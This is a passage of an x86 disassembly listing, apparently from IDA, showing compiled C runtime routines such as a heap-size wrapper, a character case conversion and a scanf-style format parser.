arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_4162CD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41B41F
		mov	ecx, 2


loc_41B41F:				; CODE XREF: sub_41B3E0+38j
		push	ecx
		call	sub_4162CD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41B3E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B42C	proc near		; CODE XREF: sub_41AC79:loc_41AE1Bj
					; sub_41AFC3:loc_41AFD4j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041E852 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421870
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_46BB8C
		test	eax, eax
		jz	short loc_41B474
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41B470
; ---------------------------------------------------------------------------


loc_41B469:				; DATA XREF: .text:00421880o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B46D:				; DATA XREF: .text:00421884o
		mov	esp, [ebp+var_18]


loc_41B470:				; CODE XREF: sub_41B42C+3Bj
		and	[ebp+var_4], 0


loc_41B474:				; CODE XREF: sub_41B42C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41B47D:				; DATA XREF: .text:00421878o
		jmp	loc_41E852
sub_41B42C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B482	proc near		; CODE XREF: sub_416183+23p
					; sub_416183:loc_4161EEp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421888
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43A774
		test	eax, eax
		jz	short loc_41B4CA
		mov	[ebp+var_4], 1
		call	eax ; sub_41B42C
		jmp	short loc_41B4C6
; ---------------------------------------------------------------------------


loc_41B4BF:				; DATA XREF: .text:00421898o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_41B4C6:				; CODE XREF: sub_41B482+3Bj
		and	[ebp+var_4], 0


loc_41B4CA:				; CODE XREF: sub_41B482+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41B4D3:				; DATA XREF: .text:00421890o
		jmp	sub_41B42C
sub_41B482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4D8	proc near		; CODE XREF: sub_416663+7p
					; sub_416663+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_46D168
		push	esi
		cmp	eax, 3
		jnz	short loc_41B501
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_418CBD
		test	eax, eax
		pop	ecx
		jz	short loc_41B4FE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41B536
; ---------------------------------------------------------------------------


loc_41B4FE:				; CODE XREF: sub_41B4D8+1Cj
		push	esi
		jmp	short loc_41B528
; ---------------------------------------------------------------------------


loc_41B501:				; CODE XREF: sub_41B4D8+Ej
		cmp	eax, 2
		jnz	short loc_41B525
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_419A18
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B525
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41B536
; ---------------------------------------------------------------------------


loc_41B525:				; CODE XREF: sub_41B4D8+2Cj
					; sub_41B4D8+43j
		push	[ebp+arg_0]


loc_41B528:				; CODE XREF: sub_41B4D8+27j
		push	0
		push	dword_46D164
		call	dword_42118C	; RtlSizeHeap


loc_41B536:				; CODE XREF: sub_41B4D8+24j
					; sub_41B4D8+4Bj
		pop	esi
		leave
		retn
sub_41B4D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B539	proc near		; CODE XREF: sub_416728+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_46BB9C, 0
		push	ebx
		jnz	short loc_41B564
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41B602
		cmp	eax, 7Ah
		jg	loc_41B602
		sub	eax, 20h
		jmp	loc_41B602
; ---------------------------------------------------------------------------


loc_41B564:				; CODE XREF: sub_41B539+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41B597
		cmp	dword_4385FC, 1
		jle	short loc_41B584
		push	2
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B58F
; ---------------------------------------------------------------------------


loc_41B584:				; CODE XREF: sub_41B539+3Dj
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41B58F:				; CODE XREF: sub_41B539+49j
		test	eax, eax
		jnz	short loc_41B597


loc_41B593:				; CODE XREF: sub_41B539+AFj
		mov	eax, ebx
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B597:				; CODE XREF: sub_41B539+34j
					; sub_41B539+58j
		mov	edx, off_4383F0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41B5BA
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41B5C3
; ---------------------------------------------------------------------------


loc_41B5BA:				; CODE XREF: sub_41B539+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41B5C3:				; CODE XREF: sub_41B539+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_46BB9C
		call	sub_41C639
		add	esp, 20h
		test	eax, eax
		jz	short loc_41B593
		cmp	eax, 1
		jnz	short loc_41B5F5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5F5:				; CODE XREF: sub_41B539+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41B602:				; CODE XREF: sub_41B539+14j
					; sub_41B539+1Dj ...
		pop	ebx
		leave
		retn
sub_41B539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B605	proc near		; CODE XREF: sub_416947+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41C00B
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B634
; ---------------------------------------------------------------------------


loc_41B62F:				; CODE XREF: sub_41B605+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41B634:				; CODE XREF: sub_41B605+28j
		cmp	dword_4385FC, 1
		jle	short loc_41B64C
		movzx	eax, al
		push	8
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B65B
; ---------------------------------------------------------------------------


loc_41B64C:				; CODE XREF: sub_41B605+36j
		mov	ecx, off_4383F0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B65B:				; CODE XREF: sub_41B605+45j
		cmp	eax, ebx
		jz	short loc_41B695
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41C092
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C07B
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E931
		add	esp, 0Ch


loc_41B683:				; CODE XREF: sub_41B605+8Ej
		test	eax, eax
		jz	short loc_41B695
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E931
		pop	ecx
		jmp	short loc_41B683
; ---------------------------------------------------------------------------


loc_41B695:				; CODE XREF: sub_41B605+58j
					; sub_41B605+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41BF77
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41B6CC:				; CODE XREF: sub_41B605+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4385FC, 1
		jle	short loc_41B6E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B6F8
; ---------------------------------------------------------------------------


loc_41B6E9:				; CODE XREF: sub_41B605+D3j
		mov	ecx, off_4383F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B6F8:				; CODE XREF: sub_41B605+E2j
		test	eax, eax
		jz	short loc_41B70E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B605+F5j
		cmp	ebx, 4Eh
		jg	short loc_41B751
		jz	short loc_41B773
		cmp	ebx, 2Ah
		jz	short loc_41B74C
		cmp	ebx, 46h
		jz	short loc_41B773
		cmp	ebx, 49h
		jz	short loc_41B72E
		cmp	ebx, 4Ch
		jnz	short loc_41B760
		inc	[ebp+var_D]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B72E:				; CODE XREF: sub_41B605+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41B760
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41B760
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B74C:				; CODE XREF: sub_41B605+113j
		inc	[ebp+var_E]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B751:				; CODE XREF: sub_41B605+10Cj
		cmp	ebx, 68h
		jz	short loc_41B76D
		cmp	ebx, 6Ch
		jz	short loc_41B765
		cmp	ebx, 77h
		jz	short loc_41B768


loc_41B760:				; CODE XREF: sub_41B605+122j
					; sub_41B605+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B765:				; CODE XREF: sub_41B605+154j
		inc	[ebp+var_D]


loc_41B768:				; CODE XREF: sub_41B605+159j
		inc	[ebp+var_5]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B76D:				; CODE XREF: sub_41B605+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41B773:				; CODE XREF: sub_41B605+107j
					; sub_41B605+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41B6CC
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41B798
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41B798:				; CODE XREF: sub_41B605+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41B7B6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41B7B2
		cmp	al, 43h
		jz	short loc_41B7B2
		or	[ebp+var_5], 0FFh
		jmp	short loc_41B7B6
; ---------------------------------------------------------------------------


loc_41B7B2:				; CODE XREF: sub_41B605+1A1j
					; sub_41B605+1A5j
		mov	[ebp+var_5], 1


loc_41B7B6:				; CODE XREF: sub_41B605+19Bj
					; sub_41B605+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41B7EF
		cmp	esi, 63h
		jz	short loc_41B7E0
		cmp	esi, 7Bh
		jz	short loc_41B7E0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41C092
		pop	ecx
		jmp	short loc_41B7EB
; ---------------------------------------------------------------------------


loc_41B7E0:				; CODE XREF: sub_41B605+1C5j
					; sub_41B605+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061


loc_41B7EB:				; CODE XREF: sub_41B605+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41B7EF:				; CODE XREF: sub_41B605+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41B7FF
		cmp	[ebp+var_C], eax
		jz	loc_41BFDB


loc_41B7FF:				; CODE XREF: sub_41B605+1EFj
		cmp	esi, 6Fh
		jg	loc_41BA66
		jz	loc_41BD18
		cmp	esi, 63h
		jz	loc_41BA43
		cmp	esi, 64h
		jz	loc_41BD18
		jle	loc_41BA90
		cmp	esi, 67h
		jle	short loc_41B863
		cmp	esi, 69h
		jz	short loc_41B84B
		cmp	esi, 6Eh
		jnz	loc_41BA90
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41BF46
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41B84B:				; CODE XREF: sub_41B605+229j
		push	64h
		pop	esi


loc_41B84E:				; CODE XREF: sub_41B605+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41BAD8
		mov	[ebp+var_17], 1
		jmp	loc_41BADD
; ---------------------------------------------------------------------------


loc_41B863:				; CODE XREF: sub_41B605+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41B87F
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41B884
; ---------------------------------------------------------------------------


loc_41B87F:				; CODE XREF: sub_41B605+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B89B


loc_41B884:				; CODE XREF: sub_41B605+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B89E
; ---------------------------------------------------------------------------


loc_41B89B:				; CODE XREF: sub_41B605+27Dj
		mov	edi, [ebp+arg_0]


loc_41B89E:				; CODE XREF: sub_41B605+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41B8AD
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41B8B4


loc_41B8AD:				; CODE XREF: sub_41B605+29Dj
		mov	[ebp+var_C], 15Dh


loc_41B8B4:				; CODE XREF: sub_41B605+2A6j
					; sub_41B605+2F2j
		cmp	dword_4385FC, 1
		jle	short loc_41B8C9
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B8D4
; ---------------------------------------------------------------------------


loc_41B8C9:				; CODE XREF: sub_41B605+2B6j
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B8D4:				; CODE XREF: sub_41B605+2C2j
		test	eax, eax
		jz	short loc_41B8F9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B8F9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B8B4
; ---------------------------------------------------------------------------


loc_41B8F9:				; CODE XREF: sub_41B605+2D1j
					; sub_41B605+2DBj
		cmp	byte_438600, bl
		jnz	short loc_41B967
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B967
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		mov	al, byte_438600
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41B922:				; CODE XREF: sub_41B605+360j
		cmp	dword_4385FC, 1
		jle	short loc_41B937
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B942
; ---------------------------------------------------------------------------


loc_41B937:				; CODE XREF: sub_41B605+324j
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B942:				; CODE XREF: sub_41B605+330j
		test	eax, eax
		jz	short loc_41B967
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B967
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B922
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B605+2FAj
					; sub_41B605+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B9FF
		cmp	ebx, 65h
		jz	short loc_41B97F
		cmp	ebx, 45h
		jnz	loc_41B9FF


loc_41B97F:				; CODE XREF: sub_41B605+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B9FF
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B9A6
		mov	[esi], al
		inc	esi
		jmp	short loc_41B9AB
; ---------------------------------------------------------------------------


loc_41B9A6:				; CODE XREF: sub_41B605+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B9C9


loc_41B9AB:				; CODE XREF: sub_41B605+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B9BA
		and	[ebp+var_C], eax
		jmp	short loc_41B9C9
; ---------------------------------------------------------------------------


loc_41B9BA:				; CODE XREF: sub_41B605+3AEj
					; sub_41B605+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B9C9:				; CODE XREF: sub_41B605+3A4j
					; sub_41B605+3B3j
		cmp	dword_4385FC, 1
		jle	short loc_41B9DE
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B9E9
; ---------------------------------------------------------------------------


loc_41B9DE:				; CODE XREF: sub_41B605+3CBj
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B9E9:				; CODE XREF: sub_41B605+3D7j
		test	eax, eax
		jz	short loc_41B9FF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B9FF
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B9BA
; ---------------------------------------------------------------------------


loc_41B9FF:				; CODE XREF: sub_41B605+366j
					; sub_41B605+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41C07B
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41C00B
		cmp	[ebp+var_E], 0
		jnz	loc_41BF6C
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43A758
		add	esp, 0Ch
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BA43:				; CODE XREF: sub_41B605+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41BA52
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41BA52:				; CODE XREF: sub_41B605+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41BA5C
		mov	[ebp+var_16], 1


loc_41BA5C:				; CODE XREF: sub_41B605+451j
		mov	edi, offset dword_43A780
		jmp	loc_41BB71
; ---------------------------------------------------------------------------


loc_41BA66:				; CODE XREF: sub_41B605+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41BD14
		sub	eax, 3
		jz	loc_41BB62
		dec	eax
		dec	eax
		jz	loc_41BD18
		sub	eax, 3
		jz	loc_41B84E
		sub	eax, 3
		jz	short loc_41BAB4


loc_41BA90:				; CODE XREF: sub_41B605+21Bj
					; sub_41B605+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41BFDB
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41BF6C
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BAB4:				; CODE XREF: sub_41B605+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41BABE
		mov	[ebp+var_16], 1


loc_41BABE:				; CODE XREF: sub_41B605+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41BB75
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41BB71
; ---------------------------------------------------------------------------


loc_41BAD8:				; CODE XREF: sub_41B605+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41BAFF


loc_41BADD:				; CODE XREF: sub_41B605+259j
		dec	[ebp+var_C]
		jnz	short loc_41BAEE
		cmp	[ebp+var_20], 0
		jz	short loc_41BAEE
		mov	[ebp+var_F], 1
		jmp	short loc_41BAFF
; ---------------------------------------------------------------------------


loc_41BAEE:				; CODE XREF: sub_41B605+4DBj
					; sub_41B605+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41BAFF:				; CODE XREF: sub_41B605+4D6j
					; sub_41B605+4E7j
		cmp	ebx, 30h
		jnz	loc_41BD4D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41BB4D
		cmp	bl, 58h
		jz	short loc_41BB4D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41BB37
		push	6Fh


loc_41BB31:				; CODE XREF: sub_41B605+55Bj
		pop	esi
		jmp	loc_41BD4D
; ---------------------------------------------------------------------------


loc_41BB37:				; CODE XREF: sub_41B605+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C07B
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41BD4A
; ---------------------------------------------------------------------------


loc_41BB4D:				; CODE XREF: sub_41B605+517j
					; sub_41B605+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41BB31
; ---------------------------------------------------------------------------


loc_41BB62:				; CODE XREF: sub_41B605+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41BB6C
		mov	[ebp+var_16], 1


loc_41BB6C:				; CODE XREF: sub_41B605+561j
		mov	edi, offset dword_43A778


loc_41BB71:				; CODE XREF: sub_41B605+45Cj
					; sub_41B605+4CEj
		or	[ebp+var_18], 0FFh


loc_41BB75:				; CODE XREF: sub_41B605+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41BB99
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41BB99
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41BB9C
; ---------------------------------------------------------------------------


loc_41BB99:				; CODE XREF: sub_41B605+584j
					; sub_41B605+589j
		mov	dl, [ebp+var_35]


loc_41BB9C:				; CODE XREF: sub_41B605+592j
					; sub_41B605+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41BC01
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41BBE8
		test	dl, dl
		jz	short loc_41BBE8
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41BBE8
		inc	edi
		cmp	dl, cl
		jnb	short loc_41BBBB
		mov	al, cl
		jmp	short loc_41BBBF
; ---------------------------------------------------------------------------


loc_41BBBB:				; CODE XREF: sub_41B605+5B0j
		mov	al, dl
		mov	dl, cl


loc_41BBBF:				; CODE XREF: sub_41B605+5B4j
		cmp	dl, al
		ja	short loc_41BBE4
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41BBCC:				; CODE XREF: sub_41B605+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41BBCC


loc_41BBE4:				; CODE XREF: sub_41B605+5BCj
		xor	dl, dl
		jmp	short loc_41BB9C
; ---------------------------------------------------------------------------


loc_41BBE8:				; CODE XREF: sub_41B605+5A0j
					; sub_41B605+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41BB9C
; ---------------------------------------------------------------------------


loc_41BC01:				; CODE XREF: sub_41B605+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41C00B
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41BC13
		mov	[ebp+arg_4], edi


loc_41BC13:				; CODE XREF: sub_41B605+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BC2A:				; CODE XREF: sub_41B605+6BCj
					; sub_41B605+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41BC3E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41BCDA


loc_41BC3E:				; CODE XREF: sub_41B605+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41BCCE
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41BCCE
		cmp	[ebp+var_E], 0
		jnz	short loc_41BCC6
		cmp	[ebp+var_16], 0
		jz	short loc_41BCBB
		mov	ecx, off_4383F0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BC9A
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		pop	ecx
		mov	[ebp+var_37], al


loc_41BC9A:				; CODE XREF: sub_41B605+686j
		push	dword_4385FC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41E869
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
